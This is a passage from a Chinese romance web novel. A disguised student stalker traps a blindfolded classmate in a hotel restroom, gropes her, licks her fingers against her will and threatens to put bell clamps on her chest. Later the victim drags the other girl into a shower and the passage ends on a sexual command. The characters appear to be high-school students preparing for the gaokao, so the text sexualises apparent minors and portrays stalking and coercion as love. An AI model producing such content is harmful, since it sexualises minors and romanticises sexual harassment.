所以她直接撬了竞赛课,又刚好帮一个临时有事的前同事顶班,混入了这个宴会厅,然后就看到了令她接受不了的那几幕。
她拼命安慰自己那只是正常的社交礼仪,那是上流圈惯会伪装的往来交际,可是当她听到薄婧娴和另一位年长的女士商讨薄黎也的未来,并含蓄的说‘培养感情’时,她就彻底忍不了了。
秦明烟的身份无法做的事情,她只能用这个身份来做。
在看到薄黎也进洗手间的时候,她脑子里几乎布满了各种阴暗的想法,可是当此刻薄黎也在她怀里轻微颤抖时,她又开始心疼。
“乖乖,你说啊,你跟他们会不会联姻,会不会谈恋爱,对他们到底有没有好感?”
她几乎病态的一次又一次的问薄黎也,殊不知她自己掌心的颤抖也完全被传递到薄黎也身上。
薄黎也被勒抱得想要干呕,在察觉到身后人的反应时,反倒也不害怕了。这个人藏了太久,一次又一次的拿她取乐骚扰她,她偏偏就不让这个人如愿了。
薄黎也弯起嘴角,冷冷的笑说:“我喜欢谁?我当然各个都喜欢啊,你没看到我们刚刚握手时的小动作吗?没看到我们加了微信打算长期发展吗?我会跟他们挨个约会,会一起留学,你又能怎么样呢?你只能像只阴沟里的臭老鼠,默默看着我享受一切。”
薄黎也每说一句,秦明烟的瞳孔就深上一度,她知道薄黎也是在故意激怒她,毕竟她的乖乖是顶级政客和商业天才教出来的女儿,性格高傲,绝不会一味的任人宰割。
可是一想到薄黎也口中的未来,她就忍不住把薄黎也抱得更紧,像是要勒进自己的骨血里融为一体。
“乖乖,你只能是我的,只能是我的。”
薄黎也的笑意却越来越深。
她本就喝过酒面色带粉,双眼被黑色领带遮住,显得唇色尤为艳红,原本就过于美丽的面容在极度恐惧之下越发漂亮。
她的声音无比刻薄:“我们这种家庭利益至上,多跟几个人谈恋爱怎么了?反倒是你,再怎么样都不配。”
秦明烟的神色阴沉了两分。
平日里,她的性子向来内敛,在学校里除了学习,几乎不参与其他事情,就算被同学为难了,也不会把生气表现在脸上。
就算知道薄黎也现在说的是偷窥狂而不是她,可一想到高考后薄黎也真的有可能会这么做,她引以为傲的理智依旧在崩塌。
她扯下薄黎也方领礼服的一边,着急的动作让衣服上的碎钻磨到薄黎也的皮肤,痛得她一声闷哼。
秦明烟的动作稍停,她看着那道被划出来的粉色,缓缓低下头。
“口水能做dna检测。”薄黎也平静地提醒了她。
在距离薄黎也皮肤一寸的位置,秦明烟的动作停住了,她双手搭在薄黎也的肩头,反复揉弄上面的衣袖,像是发泄一般。
薄黎也已经转过身,靠在隔间的墙上,轻轻喘着气,尽管双眼被黑色的布料蒙得严严实实,她还是微微抬着下巴,像个高傲的女王。
“你动静大一点,等会进来的人一定会听到。”
果然,对方的动作彻底停下了。
薄黎也轻轻嗤笑了声:“我还以为你多有本事,不是说我的舌头很软很粉很想亲吗?”
她微微张开唇,露出软嫩的舌尖,在冷空气下,轻轻的瑟缩。
对方果然靠了上来。
在气息逼近的时候,薄黎也突然抬手,凭借光源的变化,精准的把这个偷窥狂反压在另一侧。指尖下的衣服纹路摸起来跟那些服务员的一模一样,身高应该跟她差不多,偏瘦。
薄黎也甚至不屑去解开眼睛上的黑布,直接伸出右手,拍在那人的脸上。
啪……啪——
“再敢骚扰我,我一定让你去坐牢。”
对方的呼吸声果然变得粗重了,气喘吁吁的,像是极度发怒的前兆。
薄黎也依旧勾着嘴唇,眼睛即使看不见也目视着前方。
“听到没有?”
那人的呼吸声渐渐小了,像是害怕了、妥协了。
薄黎也把还拍在对方脸上的手收回,然而她刚抬起手,她的手腕就被人牢牢的攥紧,对方下一刻的行为让她直接恨不能扇对方两巴掌。
这个偷窥狂直接含住了她的手。
炽热的口腔将她的指尖完全包裹住,柔软的唇舌极尽挑逗,把她每根指尖都舔得毫无死角,就连指缝中央也在顷刻间被染上对方肮脏的气息。
手指上湿漉漉的触感就像毒蛇的黏液,一寸一寸的几乎要将薄黎也灼烧。
她拼命的想要收回手,却被对方握得更紧。明明这个动作让对方处于完全的劣势下,对方才是被亵玩的人。
但此时此刻,对方却像是无比虔诚的信徒,引诱着薄黎也去玩弄她,即使薄黎也不愿意,对方也自发的吻上薄黎也的指尖。
洗手间外传来高跟鞋踏入的声音,对方却变本加厉。薄黎也咬着牙,压低声音:“我绝对我绝对会去警察局化验你的dna。”
对方的动作停了一瞬,又把她的指腹咬进去,声音里没有丝毫的求饶,只有一句志在必得的:“那你就要带着我的口水,度过未来的好几个小时了。”
“乖乖,你真的好爱我啊。”《 》
17、第十七章
偷窥狂的亲吻她手的动作简直令薄黎也作呕。
对方说得太对了,她根本没办法带着对方的口水去度过接下来的几个小时,更没办法在她爸妈的眼皮子底下偷偷去警局完成这件事情。
她害怕被她爸妈知道这件事情,更害怕薄家女儿会成为别人茶余饭后的谈资。
“我就算喜欢乞丐也不会喜欢上你这么恶心的人。”
“恶心吗?你都打算跟那么多人约会了,乖乖,多我一个又怎么样呢?”
秦明烟轻轻咬上薄黎也无名指的指节根部,声音近乎痴迷。
“好想在这里咬一个口,咬破乖乖的皮肤,让鲜血流出来,等快要愈合的时候再咬一口,反复几次,一定会留下一个很漂亮的疤痕,就跟戒指一样。那些跟乖乖约会的人一看就知道你另有所属,就不会跟我抢了。”
“你敢?”
“我确实不敢,我会心疼。”
秦明烟伪装的声音越来越喑哑:“所以我给乖乖准备了另一个礼物,给你戴上好不好?”
薄黎也顿时有种更不好的预感,当耳边响起清脆的银铃声时,她往后退。
那人很快追上来,铃铛坚硬的质地抵上她的耳垂:“这个夹子是夹在这里的吗?”
薄黎也屏住了呼吸。
那人仿佛又想起了什么,语气轻柔说:“应该不是这里。”
铃铛沿着薄黎也的下巴滑落,冰凉的触感划过她礼服方领露出的皮肤,一点一点,直到停在薄黎也心脏的位置。
铃铛又响了两声。
叮铃,叮铃。
像是终于找对了地方:“好像是夹在这里,只要乖乖听话的戴着,就能防止乖乖出轨了。”
“乖乖皮肤白,戴这个一定会很好看。”
“刚开始的时候或许会比较疼,夹久了会习惯。乖乖会喜欢的对不对?”
薄黎也几乎屏住呼吸,一个不可置信的商品词从心底冒出来。
在对方拉上她肩膀袖子的那一刻,薄黎也终于无法保持沉默,她去抓对方的手:“你疯了?”
对方的眼睛没有被蒙住,轻而易举的躲开了她,并且反压住了她的双手,然后摇起手里的铃铛,像是在跟薄黎也表明自己的决心。
“乖乖,在听到你说要跟他们约会的时候,我就已经疯了。”
“我已经用酒精擦试过,完全干净的,你不要乱动,就不会弄伤你。”
衣袖即将掉下肩膀,薄黎也咬了咬牙,声音终于妥协:“我……我跟他们没,关,系。那是社交拉进关系时惯用的话术。”
铃铛声停了。
那人的声音里夹带着明显的愉悦:“真的?”
“想跟我联姻,他们在做什么白日梦?也不看看他们配不配?”
薄黎也一开始以为这个人是喜欢她的美貌,或是嫉妒她的家世,唯独没想过这个人是个纯正的恋爱脑,最在意的竟然是她会不会跟那些人约会?
她突兀的笑了声,带着讥讽:“但他们配不上,你更配不上。”
“我不配?那,那个该死的秦明烟就配了?”
“她啊,她确实……”
“确实什么?”
薄黎也趁着对方放松警惕,奋力挣脱自己的手,扯开了眼睛上的布条。
黑色的领带滑落到她的肩上,才刚刚看清上面的纹理,她的眼睛又再度被手蒙紧了。
“乖乖,你也太坏了,又来骗我?”对方的脸凑上来,在她颈侧贴了贴,“时间差不多了,你再不回去,被你爸妈发现,我就没下一次见你的机会了。”
那串铃铛声重新响起来,最后被留在薄黎也的脖子上:“乖乖,不准摘下来哦。”
薄黎也几乎立刻开门追出去,可那人像是早有准备,不知道拿什么东西抵在了外面,薄黎也浪费了好一会才开门出去,看到被放在外面的清洁车,人早就没了影。
清扫的阿姨正要来她这边打扫,薄黎也惊魂未定,努力压平声线,问:“阿姨,刚刚你有没有看到什么人?”
保洁阿姨拎着拖把,关心的问:“我刚刚一直在里面打扫,你是丢了什么东西吗?”
薄黎也笑了笑,说:“没有,我刚刚好像被这个车拦住了,我以为有人恶作剧。”
保洁阿姨的脸上这露出歉意:“不好意思啊妹妹,可能是我放的时候没注意里面有人,你没事吧?”
薄黎也知道这不能怪她,只能说:“没事的,阿姨。”
她走向洗手台,打开水龙头,不断的冲刷她的右手,又拿洗手液洗了整整五遍,才关上水龙头。
右手变得干干净净,好似什么都没有发生过。
镜子照出她脖子上的那对铃铛,很明显是项链的款式,并不存在其他戴耳朵上、或是胸上的用途。
她被骗了。
这对铃铛耀武扬威的挂在薄黎也的脖子上,像给小狗挂的铃铛,更像是圈在战利品上面,羞辱人。
薄黎也狠狠的把铃铛摘下来,丢进垃圾桶。
再回到宴会厅的时候,薄婧娴的眉眼之间已经出现不悦,在薄黎也身上打量了一圈,问:“怎么去那么久,知不知道这个场合的重要性?”
薄黎也僵硬的低头解释:“空腹喝酒,胃有些不舒服,去卫生间催吐了。”
薄婧娴看着薄黎也有些发白的脸色,似乎是信了:“下次出来前记得垫点肚子,现在还难受?”
薄黎也懂事的说:“已经找酒店经理拿了药。”
“待会结束的时候带你去医院看看。”
薄婧娴没再说薄黎也,拉着她的手,走向不远处的薄承,边走边压低声音跟她介绍:“那是你王伯伯,马上换届选举,他的位置应该能动一动……”
从酒会离开时,薄婧娴临时接到燕城那边的电话,说是一处在建居民楼着了火,里面有三十余名建筑工人至今失联。
薄婧娴立刻订了机票,赶了最新一班的飞机飞过去。从机场离开,司机问起薄黎也打算去哪个医院看医生。
这是薄婧娴嘱咐的,已经临近晚上十一点,薄黎也看了眼身边醉酒后已经睡过去的薄承,在车开上绕城高速时说:
“去桦水弄堂吧,我朋友经常去医院比较熟悉,而且我的作业还落在她那里,爸爸酒醒了问起来你就实话实说。”
司机下意识看向后排的薄承。薄承睡熟了,他只能说:“好,如果需要用车,你给我打个电话,我会立刻过去。”
薄黎也敷衍的点了下头。
半个多小时后,薄黎也在桦水弄堂下车,直奔109号。
门敲了两回,被从里面打开。秦明烟穿着一件简单的过膝t恤,正拿毛巾擦着湿发,大概是刚刚洗过澡,淡雅的清香伴着热气扑面而来。
秦明烟看到薄黎也,有些意外:“你怎么来了?”
薄黎也没什么表情的推开秦明烟,直接走进去:“我今晚住这儿。”
秦明烟的家比她想象的还要简陋,各类老式的家具已经露出斑驳的外皮,各个角落却被打扫得干干净净。
她走到桌边,拿起水杯给自己倒了满满的一杯水。
水温已经凉了,她灌下一杯又倒了一遍,才让被酒灼烧的胃好受了些。
第三杯的时候,秦明烟直接拦住了她:“我给你新烧点水,太凉了,不能喝那么多。”
“不用。”凉水根本压不下去她的火气,薄黎也只能先去洗掉身上属于那个偷窥狂的气息,“卫生间在哪?”
秦明烟指了个方向:“那边。”
薄黎也径直走过去,刚走进卫生间,就当着秦明烟的面开始脱身上的裙子。
秦明烟立刻压了下散开的拉链:“你要洗澡吗?家里没有新的毛巾和牙刷了,你等我出去买。”
薄黎也这时候没兴致讲究这些:“拿你的毛巾给我,牙刷不用了,我漱个口就行。”
秦明烟的眉心蹙得更紧:“你怎么了,是今晚发生什么了?”
薄黎也看着自己的右手,在酒店洗手间被人舔舐吮吸的记忆又像毒蛇一样缠上了她。
她闭了闭眼,好不容易平静下来的心绪又再度涌现上来。她想将脑子里那些激烈的情绪压下去,可是越是想要忘掉,戾气就越重,快要占据她整个大脑。
直到秦明烟的脸出现在视野中,握着她的手,用力掰开她攥紧的拳头。
“薄黎也,你怎么了?”
“出去,别烦我。”薄黎也用力打掉秦明烟的手,声音冷若冰霜。
秦明烟踉跄了几步,扶住门框,又去拉薄黎也:“你既然来找我了,我就不能不管你。”
薄黎也最烦秦明烟这副圣母施舍同情的样子:“管我?你有什么资格管我?你来我身边的时候,不是说过什么都会听我的吗?”
她又想到了那些讨厌的人,于是忽然攥向秦明烟的肩:“难道你也要像他们一样强迫我听你的话?”
秦明烟被她的动作吓了一跳:“谁强迫你了?”
薄黎也面无表情的看着她,显然不会回答。
秦明烟耐心的说:“我没有不听你的话,也没有要强迫你。”
她的声音清清冷冷,像是冷泉中清澈的水滴,难得带着安抚的意味。
薄黎也没再说话,目光扫过镜中的自己和秦明烟。
秦明烟的目光跟着转过去。
将近一分钟的对视后,薄黎也问:“你走不走?”
秦明烟没动。
薄黎也压着秦明烟肩膀的手骤然用力,把她推向花洒的位置。
“你做什……”
同时薄黎也自己也挤进去,花洒被打开时,薄黎也的声音带了点狎弄的意味:“不是想帮我?”
秦明烟缓慢的点了下头,她往薄黎也的方向靠近,似乎想帮薄黎也挡住刚开启时的冷水。
薄黎也的眼神暗下,摁着秦明烟的后颈骤然压向自己的肩,终于放纵自己,做了今晚以来最想做的事。
“舔。”《 》